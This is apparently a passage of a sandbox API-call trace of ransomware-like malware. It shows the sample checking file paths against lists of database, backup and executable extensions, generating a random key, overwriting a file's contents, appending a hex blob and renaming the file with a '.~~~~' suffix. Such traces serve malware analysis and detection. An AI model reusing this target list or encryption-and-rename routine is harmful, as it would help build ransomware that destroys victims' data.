	[0084.481] lstrlenW (lpString=".DB") returned 3
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".DB") returned 0x0
	[0084.481] lstrlenW (lpString=".sql") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".sql") returned 0x0
	[0084.481] lstrlenW (lpString=".MYD") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".MYD") returned 0x0
	[0084.481] lstrlenW (lpString=".DBT") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".DBT") returned 0x0
	[0084.481] lstrlenW (lpString=".ACCDB") returned 6
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.481] lstrlenW (lpString=".fdb") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".fdb") returned 0x0
	[0084.481] lstrlenW (lpString=".bak") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".bak") returned 0x0
	[0084.481] lstrlenW (lpString=".myd") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".myd") returned 0x0
	[0084.481] lstrlenW (lpString=".DTXS") returned 5
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".DTXS") returned 0x0
	[0084.481] lstrlenW (lpString=".ckp") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".ckp") returned 0x0
	[0084.481] lstrlenW (lpString=".dbt") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".dbt") returned 0x0
	[0084.481] lstrlenW (lpString=".db") returned 3
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".db") returned 0x0
	[0084.481] lstrlenW (lpString=".TXT") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".TXT") returned 0x0
	[0084.481] lstrlenW (lpString=".MDF") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".MDF") returned 0x0
	[0084.481] lstrlenW (lpString=".bdb") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".bdb") returned 0x0
	[0084.481] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.482] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0084.619] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.619] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.619] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20460906576) returned 1
	[0084.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c447c30, dwHighDateTime=0x1d60e1e)) 
	[0084.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd90
	[0084.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd90 | out: hHeap=0x300000) returned 1
	[0084.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28090f8
	[0084.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28090f8 | out: hHeap=0x300000) returned 1
	[0084.620] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0084.620] GetLastError () returned 0x0
	[0084.620] GetLastError () returned 0x0
	[0084.620] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0084.620] GetLastError () returned 0x0
	[0084.620] GetLastError () returned 0x0
	[0084.626] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7b17, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.626] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x184e9, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x184e9, lpOverlapped=0x0) returned 1
	[0084.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.626] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.626] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.627] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.627] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.627] CloseHandle (hObject=0x11c) returned 1
	[0084.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.629] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.~~~~")) returned 1
	[0084.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.724] GetLastError () returned 0x0
	[0084.724] RtlWakeConditionVariable () returned 0x365f70
	[0084.724] GetCurrentThreadId () returned 0x9cc
	[0084.724] GetCurrentThreadId () returned 0x9cc
	[0084.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808480
	[0084.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0084.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa048 | out: hHeap=0x300000) returned 1
	[0084.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0084.725] lstrlenW (lpString=".scr") returned 4
	[0084.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.725] lstrlenW (lpString=".cmd") returned 4
	[0084.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.725] lstrlenW (lpString=".dll") returned 4
	[0084.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.725] lstrlenW (lpString=".bat") returned 4
	[0084.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.725] lstrlenW (lpString=".cpl") returned 4
	[0084.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.725] lstrlenW (lpString=".sys") returned 4
	[0084.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.725] lstrlenW (lpString=".msc") returned 4
	[0084.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.725] lstrlenW (lpString=".com") returned 4
	[0084.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.725] lstrlenW (lpString=".lnk") returned 4
	[0084.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.725] lstrlenW (lpString=".msp") returned 4
	[0084.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.725] lstrlenW (lpString=".pif") returned 4
	[0084.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.725] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0084.759] lstrlenW (lpString=".sqb") returned 4
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.759] lstrlenW (lpString=".ost") returned 4
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.759] lstrlenW (lpString=".txt") returned 4
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.759] lstrlenW (lpString=".mdt") returned 4
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.759] lstrlenW (lpString=".BDB") returned 4
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.759] lstrlenW (lpString=".eql") returned 4
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.759] lstrlenW (lpString=".DBF") returned 4
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.759] lstrlenW (lpString=".EQL") returned 4
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.759] lstrlenW (lpString=".FDB") returned 4
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.759] lstrlenW (lpString=".EDB") returned 4
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.759] lstrlenW (lpString=".DACPAC") returned 7
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.759] lstrlenW (lpString=".VHD") returned 4
	[0084.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.759] lstrlenW (lpString=".DBV") returned 4
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.760] lstrlenW (lpString=".dacpac") returned 7
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.760] lstrlenW (lpString=".sdf") returned 4
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.760] lstrlenW (lpString=".accdb") returned 6
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.760] lstrlenW (lpString=".DBX") returned 4
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.760] lstrlenW (lpString=".MDT") returned 4
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.760] lstrlenW (lpString=".SQB") returned 4
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.760] lstrlenW (lpString=".vhd") returned 4
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.760] lstrlenW (lpString=".bac") returned 4
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.760] lstrlenW (lpString=".mdf") returned 4
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.760] lstrlenW (lpString=".BAK") returned 4
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.760] lstrlenW (lpString=".BAC") returned 4
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.760] lstrlenW (lpString=".dbs") returned 4
	[0084.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.760] lstrlenW (lpString=".vhdx") returned 5
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.761] lstrlenW (lpString=".NDF") returned 4
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.761] lstrlenW (lpString=".dat") returned 4
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.761] lstrlenW (lpString=".DBS") returned 4
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.761] lstrlenW (lpString=".CKP") returned 4
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.761] lstrlenW (lpString=".edb") returned 4
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.761] lstrlenW (lpString=".PST") returned 4
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.761] lstrlenW (lpString=".dbf") returned 4
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.761] lstrlenW (lpString=".SQL") returned 4
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.761] lstrlenW (lpString=".pst") returned 4
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.761] lstrlenW (lpString=".dbv") returned 4
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.761] lstrlenW (lpString=".SDF") returned 4
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.761] lstrlenW (lpString=".dtxs") returned 5
	[0084.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.761] lstrlenW (lpString=".db3") returned 4
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.762] lstrlenW (lpString=".OST") returned 4
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.762] lstrlenW (lpString=".dbx") returned 4
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.762] lstrlenW (lpString=".DB3") returned 4
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.762] lstrlenW (lpString=".DAT") returned 4
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.762] lstrlenW (lpString=".VHDX") returned 5
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.762] lstrlenW (lpString=".ndf") returned 4
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.762] lstrlenW (lpString=".DB") returned 3
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.762] lstrlenW (lpString=".sql") returned 4
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.762] lstrlenW (lpString=".MYD") returned 4
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.762] lstrlenW (lpString=".DBT") returned 4
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.762] lstrlenW (lpString=".ACCDB") returned 6
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.762] lstrlenW (lpString=".fdb") returned 4
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.762] lstrlenW (lpString=".bak") returned 4
	[0084.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.762] lstrlenW (lpString=".myd") returned 4
	[0084.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.763] lstrlenW (lpString=".DTXS") returned 5
	[0084.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.763] lstrlenW (lpString=".ckp") returned 4
	[0084.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.763] lstrlenW (lpString=".dbt") returned 4
	[0084.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.763] lstrlenW (lpString=".db") returned 3
	[0084.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.763] lstrlenW (lpString=".TXT") returned 4
	[0084.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.763] lstrlenW (lpString=".MDF") returned 4
	[0084.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.763] lstrlenW (lpString=".bdb") returned 4
	[0084.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.763] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
